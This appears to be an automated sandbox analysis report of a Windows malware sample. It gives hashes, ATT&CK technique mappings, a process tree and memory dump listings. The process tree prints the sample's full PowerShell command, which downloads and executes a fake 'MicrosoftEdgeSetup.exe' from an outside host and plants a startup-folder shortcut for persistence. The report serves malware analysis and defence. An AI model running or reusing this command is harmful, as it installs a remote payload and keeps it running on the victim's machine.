f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55

Analysis

max time kernel
93s
max time network
111s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02-10-2024 09:00

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General

Target

f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe
Size

90KB
MD5

4c266d1ce04141eed968af837759f535
SHA1

09bd94b19b1111469b193391378178b44bd647d8
SHA256

f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55
SHA512

cd650036808027ebcc490fb5257a578dc4df848312744bebc1350a1f33cda6178213172a8ad4eae6baa56800eeb7ccbfb32bb13faedc3fcd141c06d558a4eb77
SSDEEP

1536:u7BIDRvXmB/FfMY71myIndRj5NMY8t63pjH:Oi6FZ1jInxNMb2j

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1048	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1048	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\fahhs.lnk	powershell.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4148	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1048	powershell.exe
1048	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 4104 wrote to memory of 1048	4104	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	84
PID 4104 wrote to memory of 1048	4104	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	84
PID 4104 wrote to memory of 2560	4104	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	85
PID 4104 wrote to memory of 2560	4104	f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe	85
PID 2560 wrote to memory of 4148	2560	cmd.exe	88
PID 2560 wrote to memory of 4148	2560	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe
"C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command "Invoke-WebRequest -Uri \"https://apple-online.shop/MicrosoftEdgeSetup.exe\" -OutFile \"$env:TMP/MicrosoftEdgeSetup.exe\" ; & \"$env:TMP/MicrosoftEdgeSetup.exe\" ; $startupFolder = [System.IO.Path]::Combine($env:APPDATA, 'Microsoft\Windows\Start Menu\Programs\Startup') ; $programPath = 'C:\Users\Admin\AppData\Local\Temp\f0433b12bd4a308e2a3793dc9c6414f6e2eb03e1552f9baf8e6b188a8bc5aa55.exe' ; $shortcutName = 'fahhs.lnk' ; $shortcutPath = [System.IO.Path]::Combine($startupFolder, $shortcutName) ; $WshShell = New-Object -ComObject WScript.Shell ; $shortcut = $WshShell.CreateShortcut($shortcutPath) ; $shortcut.TargetPath = $programPath ; $shortcut.WorkingDirectory = [System.IO.Path]::GetDirectoryName($programPath) ; $shortcut.Save()"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1048
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c systeminfo
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4148

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yitpendo.dxh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1048-0-0x00007FFE705D3000-0x00007FFE705D5000-memory.dmp

Filesize
8KB

Download
memory/1048-1-0x000002923AB80000-0x000002923ABA2000-memory.dmp

Filesize
136KB

Download
memory/1048-11-0x00007FFE705D0000-0x00007FFE71091000-memory.dmp

Filesize
10.8MB

Download
memory/1048-12-0x00007FFE705D0000-0x00007FFE71091000-memory.dmp

Filesize
10.8MB

Download
memory/1048-13-0x000002923D8C0000-0x000002923E066000-memory.dmp

Filesize
7.6MB

Download
memory/1048-15-0x00007FFE705D0000-0x00007FFE71091000-memory.dmp

Filesize
10.8MB

Download
memory/1048-16-0x00007FFE705D0000-0x00007FFE71091000-memory.dmp

Filesize
10.8MB

Download
memory/1048-20-0x00007FFE705D0000-0x00007FFE71091000-memory.dmp

Filesize
10.8MB

Download
memory/4104-21-0x00007FF77F3B0000-0x00007FF77F3C8000-memory.dmp

Filesize
96KB

Download
memory/4104-22-0x00007FF77F3B0000-0x00007FF77F3C8000-memory.dmp

Filesize
96KB

Download